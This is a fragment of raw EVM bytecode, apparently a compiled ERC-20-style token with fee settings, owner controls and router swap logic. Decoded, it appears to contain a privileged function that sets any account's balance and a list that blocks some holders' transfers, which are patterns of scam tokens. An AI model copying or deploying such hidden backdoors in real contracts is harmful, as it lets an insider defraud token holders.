0565b62000a9e8162000daf565b82525050565b600062000ab3601b8362000b48565b915062000ac08262000ea0565b602082019050919050565b62000ad68162000de3565b82525050565b600060408201905062000af3600083018562000a93565b62000b02602083018462000a93565b9392505050565b6000602082019050818103600083015262000b248162000aa4565b9050919050565b600060208201905062000b42600083018462000acb565b92915050565b600082825260208201905092915050565b600062000b668262000de3565b915062000b738362000de3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000bab5762000baa62000e30565b5b828201905092915050565b6000808291508390505b600185111562000c085780860481111562000be05762000bdf62000e30565b5b600185161562000bf05780820291505b808102905062000c008562000e93565b945062000bc0565b94509492505050565b600062000c1e8262000de3565b915062000c2b8362000ded565b925062000c5a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c62565b905092915050565b60008262000c74576001905062000d47565b8162000c84576000905062000d47565b816001811462000c9d576002811462000ca85762000cde565b600191505062000d47565b60ff84111562000cbd5762000cbc62000e30565b5b8360020a91508482111562000cd75762000cd662000e30565b5b5062000d47565b5060208310610133831016604e8410600b841016171562000d185782820a90508381111562000d125762000d1162000e30565b5b62000d47565b62000d27848484600162000bb6565b9250905081840481111562000d415762000d4062000e30565b5b81810290505b9392505050565b600062000d5b8262000de3565b915062000d688362000de3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000da45762000da362000e30565b5b828202905092915050565b600062000dbc8262000dc3565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000e1357607f821691505b6020821081141562000e2a5762000e2962000e5f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b62000ed48162000daf565b811462000ee057600080fd5b50565b60805160601c61406e62000f0960003960008181610f310152610f5d015261406e6000f3fe6080604052600436106103035760003560e01c806395d89b4111610190578063c5d24189116100dc578063da00097d11610095578063e3dea9b61161006f578063e3dea9b614610bf5578063f0cd1dac14610c1e578063f2fde38b14610c49578063f872858a14610c725761030a565b8063da00097d14610b62578063dc44b6a014610b8d578063dd62ed3e14610bb85761030a565b8063c5d2418914610a50578063c816841b14610a7b578063c860795214610aa6578063c867d60b14610ad1578063cab0347114610b0e578063d469a20914610b395761030a565b8063a9059cbb11610149578063b69b1f2711610123578063b69b1f27146109aa578063c2d4640e146109d3578063c469b6dd146109fc578063c49b9a8014610a275761030a565b8063a9059cbb146108f3578063ae2116b814610930578063b20a4e5a1461096d5761030a565b806395d89b41146107e1578063a073d37f1461080c578063a08e671f14610837578063a2a6272214610862578063a457c2d71461088b578063a83f53a7146108c85761030a565b80633b97084a1161024f57806370a082311161020857806382eefb43116101e257806382eefb431461072357806388790a681461074e5780638b42507f146107795780638da5cb5b146107b65761030a565b806370a0823114610692578063715266fe146106cf57806372382ec7146106f85761030a565b80633b97084a146105825780633ecad271146105ab5780634a74bb02146105e857806357a5802f1461061357806361a23c691461063e5780636249faf1146106695761030a565b80632563ae83116102bc578063313ce56711610296578063313ce567146104b457806335cdc417146104df57806335d236151461051c57806339509351146105455761030a565b80632563ae831461043557806327c8f8351461045e5780632b112e49146104895761030a565b806306fdde031461030f578063095ea7b31461033a5780631245e347146103775780631694505e146103a257806318160ddd146103cd57806323b872dd146103f85761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c9d565b604051610331919061382b565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c9190613342565b610d2f565b60405161036e91906137f5565b60405180910390f35b34801561038357600080fd5b5061038c610d4d565b6040516103999190613779565b60405180910390f35b3480156103ae57600080fd5b506103b7610d73565b6040516103c49190613810565b60405180910390f35b3480156103d957600080fd5b506103e2610d99565b6040516103ef919061392d565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a91906132ef565b610da3565b60405161042c91906137f5565b60405180910390f35b34801561044157600080fd5b5061045c600480360381019061045791906133e2565b610e7d565b005b34801561046a57600080fd5b50610473610f2f565b604051610480919061375e565b60405180910390f35b34801561049557600080fd5b5061049e610f53565b6040516104ab919061392d565b60405180910390f35b3480156104c057600080fd5b506104c9610f97565b6040516104d691906139d2565b60405180910390f35b3480156104eb57600080fd5b5061050660048036038101906105019190613255565b610fae565b60405161051391906137f5565b60405180910390f35b34801561052857600080fd5b50610543600480360381019061053e9190613255565b610fce565b005b34801561055157600080fd5b5061056c60048036038101906105679190613342565b6110a7565b60405161057991906137f5565b60405180910390f35b34801561058e57600080fd5b506105a960048036038101906105a4919061346f565b61115a565b005b3480156105b757600080fd5b506105d260048036038101906105cd9190613255565b6111f9565b6040516105df91906137f5565b60405180910390f35b3480156105f457600080fd5b506105fd611219565b60405161060a91906137f5565b60405180910390f35b34801561061f57600080fd5b5061062861122c565b604051610635919061392d565b60405180910390f35b34801561064a57600080fd5b50610653611232565b604051610660919061392d565b60405180910390f35b34801561067557600080fd5b50610690600480360381019061068b9190613382565b611238565b005b34801561069e57600080fd5b506106b960048036038101906106b49190613255565b611372565b6040516106c6919061392d565b60405180910390f35b3480156106db57600080fd5b506106f660048036038101906106f19190613382565b6113bb565b005b34801561070457600080fd5b5061070d6114f5565b60405161071a9190613779565b60405180910390f35b34801561072f57600080fd5b5061073861151b565b604051610745919061392d565b60405180910390f35b34801561075a57600080fd5b50610763611521565b604051610770919061392d565b60405180910390f35b34801561078557600080fd5b506107a0600480360381019061079b9190613255565b611527565b6040516107ad91906137f5565b60405180910390f35b3480156107c257600080fd5b506107cb611547565b6040516107d8919061375e565b60405180910390f35b3480156107ed57600080fd5b506107f6611570565b604051610803919061382b565b60405180910390f35b34801561081857600080fd5b50610821611602565b60405161082e919061392d565b60405180910390f35b34801561084357600080fd5b5061084c61160c565b604051610859919061392d565b60405180910390f35b34801561086e57600080fd5b506108896004803603810190610884919061349c565b611612565b005b34801561089757600080fd5b506108b260048036038101906108ad9190613342565b6116f2565b6040516108bf91906137f5565b60405180910390f35b3480156108d457600080fd5b506108dd6117bf565b6040516108ea919061392d565b60405180910390f35b3480156108ff57600080fd5b5061091a60048036038101906109159190613342565b6117c5565b60405161092791906137f5565b60405180910390f35b34801561093c57600080fd5b5061095760048036038101906109529190613255565b6117e4565b60405161096491906137f5565b60405180910390f35b34801561097957600080fd5b50610994600480360381019061098f9190613255565b611804565b6040516109a191906137f5565b60405180910390f35b3480156109b657600080fd5b506109d160048036038101906109cc919061340f565b611824565b005b3480156109df57600080fd5b506109fa60048036038101906109f5919061349c565b611900565b005b348015610a0857600080fd5b50610a116119e0565b604051610a1e919061392d565b60405180910390f35b348015610a3357600080fd5b50610a4e6004803603810190610a4991906133e2565b6119e6565b005b348015610a5c57600080fd5b50610a65611acf565b604051610a72919061392d565b60405180910390f35b348015610a8757600080fd5b50610a90611ad5565b604051610a9d919061375e565b60405180910390f35b348015610ab257600080fd5b50610abb611afb565b604051610ac8919061392d565b60405180910390f35b348015610add57600080fd5b50610af86004803603810190610af39190613255565b611b01565b604051610b0591906137f5565b60405180910390f35b348015610b1a57600080fd5b50610b23611b21565b604051610b30919061392d565b60405180910390f35b348015610b4557600080fd5b50610b606004803603810190610b5b919061349c565b611b27565b005b348015610b6e57600080fd5b50610b77611c07565b604051610b8491906137f5565b60405180910390f35b348015610b9957600080fd5b50610ba2611c1a565b604051610baf919061392d565b60405180910390f35b348015610bc457600080fd5b50610bdf6004803603810190610bda91906132af565b611c20565b604051610bec919061392d565b60405180910390f35b348015610c0157600080fd5b50610c1c6004803603810190610c179190613342565b611ca7565b005b348015610c2a57600080fd5b50610c33611d27565b604051610c40919061392d565b60405180910390f35b348015610c5557600080fd5b50610c706004803603810190610c6b9190613255565b611d2d565b005b348015610c7e57600080fd5b50610c87611e7f565b604051610c9491906137f5565b60405180910390f35b606060018054610cac90613c39565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd890613c39565b8015610d255780601f10610cfa57610100808354040283529160200191610d25565b820191906000526020600020905b815481529060010190602001808311610d0857829003601f168201915b5050505050905090565b6000610d43610d3c611ef0565b8484611ef8565b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601954905090565b6000610db08484846120c3565b50610e7284610dbd611ef0565b610e6d85604051806060016040528060288152602001613fec60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610e23611ef0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ed9092919063ffffffff16565b611ef8565b600190509392505050565b610e85611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f09906138cd565b60405180910390fd5b80601c60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610f92610f817f0000000000000000000000000000000000000000000000000000000000000000611372565b60195461255190919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600c6020528060005260406000206000915054906101000a900460ff1681565b610fd6611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105a906138cd565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006111506110b4611ef0565b8461114b85600660006110c5611ef0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9290919063ffffffff16565b611ef8565b6001905092915050565b611162611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e6906138cd565b60405180910390fd5b80601a8190555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b601c60159054906101000a900460ff1681565b60135481565b60145481565b611240611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c4906138cd565b60405180910390fd5b60005b8383905081101561136c5781600860008686858181106112f3576112f2613d41565b5b90506020020160208101906113089190613255565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136490613c6b565b9150506112d0565b50505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113c3611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611450576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611447906138cd565b60405180910390fd5b60005b838390508110156114ef57816007600086868581811061147657611475613d41565b5b905060200201602081019061148b9190613255565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114e790613c6b565b915050611453565b50505050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b60105481565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461157f90613c39565b80601f01602080910402602001604051908101604052809291908181526020018280546115ab90613c39565b80156115f85780601f106115cd576101008083540402835291602001916115f8565b820191906000526020600020905b8154815290600101906020018083116115db57829003601f168201915b5050505050905090565b6000601a54905090565b60185481565b61161a611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169e906138cd565b60405180910390fd5b8260108190555081601181905550806012819055506116e76012546116d9601154601054611e9290919063ffffffff16565b611e9290919063ffffffff16565b601781905550505050565b60006117b56116ff611ef0565b846117b0856040518060600160405280602581526020016140146025913960066000611729611ef0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ed9092919063ffffffff16565b611ef8565b6001905092915050565b60155481565b60006117d96117d2611ef0565b84846120c3565b506001905092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b611852600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633600061259b565b61185b57600080fd5b60005b828290508110156118fa5783600c600085858581811061188157611880613d41565b5b90506020020160208101906118969190613255565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806118f290613c6b565b91505061185e565b50505050565b611908611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198c906138cd565b60405180910390fd5b8260138190555081601481905550806015819055506119d56015546119c7601454601354611e9290919063ffffffff16565b611e9290919063ffffffff16565b601881905550505050565b600f5481565b6119ee611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a72906138cd565b60405180910390fd5b80601c60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051611ac491906137f5565b60405180910390a150565b600e5481565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b60086020528060005260406000206000915054906101000a900460ff1681565b60125481565b611b2f611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb3906138cd565b60405180910390fd5b82600d8190555081600e8190555080600f81905550611bfc600f54611bee600e54600d54611e9290919063ffffffff16565b611e9290919063ffffffff16565b601681905550505050565b601c60169054906101000a900460ff1681565b600d5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611cd6600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336103e761259b565b611cdf57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60165481565b611d35611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db9906138cd565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601c60179054906101000a900460ff1681565b6000808284611ea19190613a42565b905083811015611ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edd9061388d565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5f9061390d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcf9061386d565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120b6919061392d565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212b906138ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219b9061384d565b60405180910390fd5b601c60149054906101000a900460ff16156121cb576121c4848484612610565b90506124e6565b60006121d630611372565b90506000601a5482101590508080156121fc5750601c60149054906101000a900460ff16155b80156122525750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561226a5750601c60159054906101000a900460ff165b1561229457601c60169054906101000a900460ff161561228a57601a5491505b612293826127e3565b5b6122e684600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123cc5750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6123e0576123db8787876129d4565b6123e2565b845b905061243681600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9290919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124d6919061392d565b60405180910390a3600193505050505b9392505050565b6000838311158290612535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252c919061382b565b60405180910390fd5b50600083856125449190613b23565b9050809150509392505050565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124ed565b905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156126075750600173ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515155b90509392505050565b600061269b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ed9092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061273082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9290919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127d0919061392d565b60405180910390a3600190509392505050565b6001601c60146101000a81548160ff021916908315150217905550600061283c600261282e60185461282060135487612ca490919063ffffffff16565b612d1f90919063ffffffff16565b612d1f90919063ffffffff16565b90506000612853828461255190919063ffffffff16565b905061285e81612d69565b6000479050600061288f61287e6002601354612d1f90919063ffffffff16565b60185461255190919063ffffffff16565b905060006128cd60026128bf846128b160135488612ca490919063ffffffff16565b612d1f90919063ffffffff16565b612d1f90919063ffffffff16565b905060006128f8836128ea60155487612ca490919063ffffffff16565b612d1f90919063ffffffff16565b9050600061292182612913858861255190919063ffffffff16565b61255190919063ffffffff16565b9050600081111561295957612958600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612ff4565b5b600082111561298f5761298e600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612ff4565b5b60008311801561299f5750600087115b156129af576129ae878461303f565b5b505050505050506000601c60146101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612a8457600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612a8357600080fd5b5b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612b0557612afe6064612af060165486612ca490919063ffffffff16565b612d1f90919063ffffffff16565b9050612b83565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612b8257612b7f6064612b7160175486612ca490919063ffffffff16565b612d1f90919063ffffffff16565b90505b5b6000811115612c8757612bde81600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9290919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c7e919061392d565b60405180910390a35b612c9a818461255190919063ffffffff16565b9150509392505050565b600080831415612cb75760009050612d19565b60008284612cc59190613ac9565b9050828482612cd49190613a98565b14612d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d0b906138ad565b60405180910390fd5b809150505b92915050565b6000612d6183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613133565b905092915050565b6000600267ffffffffffffffff811115612d8657612d85613d70565b5b604051908082528060200260200182016040528015612db45781602001602082028036833780820191505090505b5090503081600081518110612dcc57612dcb613d41565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612e6e57600080fd5b505afa158015612e82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ea69190613282565b81600181518110612eba57612eb9613d41565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612f2130601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ef8565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612f85959493929190613978565b600060405180830381600087803b158015612f9f57600080fd5b505af1158015612fb3573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612fe8929190613948565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561303a573d6000803e3d6000fd5b505050565b61306c30601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ef8565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806130b8611547565b426040518863ffffffff1660e01b81526004016130da96959493929190613794565b6060604051808303818588803b1580156130f357600080fd5b505af1158015613107573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061312c91906134ef565b5050505050565b6000808311829061317a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613171919061382b565b60405180910390fd5b50600083856131899190613a98565b9050809150509392505050565b6000813590506131a581613fa6565b92915050565b6000815190506131ba81613fa6565b92915050565b60008083601f8401126131d6576131d5613da4565b5b8235905067ffffffffffffffff8111156131f3576131f2613d9f565b5b60208301915083602082028301111561320f5761320e613da9565b5b9250929050565b60008135905061322581613fbd565b92915050565b60008135905061323a81613fd4565b92915050565b60008151905061324f81613fd4565b92915050565b60006020828403121561326b5761326a613db3565b5b600061327984828501613196565b91505092915050565b60006020828403121561329857613297613db3565b5b60006132a6848285016131ab565b91505092915050565b600080604083850312156132c6576132c5613db3565b5b60006132d485828601613196565b92505060206132e585828601613196565b9150509250929050565b60008060006060848603121561330857613307613db3565b5b600061331686828701613196565b935050602061332786828701613196565b92505060406133388682870161322b565b9150509250925092565b6000806040838503121561335957613358613db3565b5b600061336785828601613196565b92505060206133788582860161322b565b9150509250929050565b60008060006040848603121561339b5761339a613db3565b5b600084013567ffffffffffffffff8111156133b9576133b8613dae565b5b6133c5868287016131c0565b935093505060206133d886828701613216565b9150509250925092565b6000602082840312156133f8576133f7613db3565b5b600061340684828501613216565b91505092915050565b60008060006040848603121561342857613427613db3565b5b600061343686828701613216565b935050602084013567ffffffffffffffff81111561345757613456613dae565b5b613463868287016131c0565b92509250509250925092565b60006020828403121561348557613484613db3565b5b60006134938482850161322b565b91505092915050565b6000806000606084860312156134b5576134b4613db3565b5b60006134c38682870161322b565b93505060206134d48682870161322b565b92505060406134e58682870161322b565b9150509250925092565b60008060006060848603121561350857613507613db3565b5b600061351686828701613240565b935050602061352786828701613240565b925050604061353886828701613240565b9150509250925092565b600061354e8383613569565b60208301905092915050565b61356381613b69565b82525050565b61357281613b57565b82525050565b61358181613b57565b82525050565b6000613592826139fd565b61359c8185613a20565b93506135a7836139ed565b8060005b838110156135d85781516135bf8882613542565b97506135ca83613a13565b9250506001810190506135ab565b5085935050505092915050565b6135ee81613b7b565b82525050565b6135fd81613bbe565b82525050565b61360c81613bd0565b82525050565b600061361d82613a08565b6136278185613a31565b9350613637818560208601613c06565b61364081613db8565b840191505092915050565b6000613658602383613a31565b915061366382613dc9565b604082019050919050565b600061367b602283613a31565b915061368682613e18565b604082019050919050565b600061369e601b83613a31565b91506136a982613e67565b602082019050919050565b60006136c1602183613a31565b91506136cc82613e90565b604082019050919050565b60006136e4602083613a31565b91506136ef82613edf565b602082019050919050565b6000613707602583613a31565b915061371282613f08565b604082019050919050565b600061372a602483613a31565b915061373582613f57565b604082019050919050565b61374981613ba7565b82525050565b61375881613bb1565b82525050565b60006020820190506137736000830184613578565b92915050565b600060208201905061378e600083018461355a565b92915050565b600060c0820190506137a96000830189613578565b6137b66020830188613740565b6137c36040830187613603565b6137d06060830186613603565b6137dd6080830185613578565b6137ea60a0830184613740565b979650505050505050565b600060208201905061380a60008301846135e5565b92915050565b600060208201905061382560008301846135f4565b92915050565b600060208201905081810360008301526138458184613612565b905092915050565b600060208201905081810360008301526138668161364b565b9050919050565b600060208201905081810360008301526138868161366e565b9050919050565b600060208201905081810360008301526138a681613691565b9050919050565b600060208201905081810360008301526138c6816136b4565b9050919050565b600060208201905081810360008301526138e6816136d7565b9050919050565b60006020820190508181036000830152613906816136fa565b9050919050565b600060208201905081810360008301526139268161371d565b9050919050565b60006020820190506139426000830184613740565b92915050565b600060408201905061395d6000830185613740565b818103602083015261396f8184613587565b90509392505050565b600060a08201905061398d6000830188613740565b61399a6020830187613603565b81810360408301526139ac8186613587565b90506139bb6060830185613578565b6139c86080830184613740565b9695505050505050565b60006020820190506139e7600083018461374f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613a4d82613ba7565b9150613a5883613ba7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a8d57613a8c613cb4565b5b828201905092915050565b6000613aa382613ba7565b9150613aae83613ba7565b925082613abe57613abd613ce3565b5b828204905092915050565b6000613ad482613ba7565b9150613adf83613ba7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b1857613b17613cb4565b5b828202905092915050565b6000613b2e82613ba7565b9150613b3983613ba7565b925082821015613b4c57613b4b613cb4565b5b828203905092915050565b6000613b6282613b87565b9050919050565b6000613b7482613b87565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613bc982613be2565b9050919050565b6000613bdb82613ba7565b9050919050565b6000613bed82613bf4565b9050919050565b6000613bff82613b87565b9050919050565b60005b83811015613c24578082015181840152602081019050613c09565b83811115613c33576000848401525b50505050565b60006002820490506001821680613c5157607f821691505b6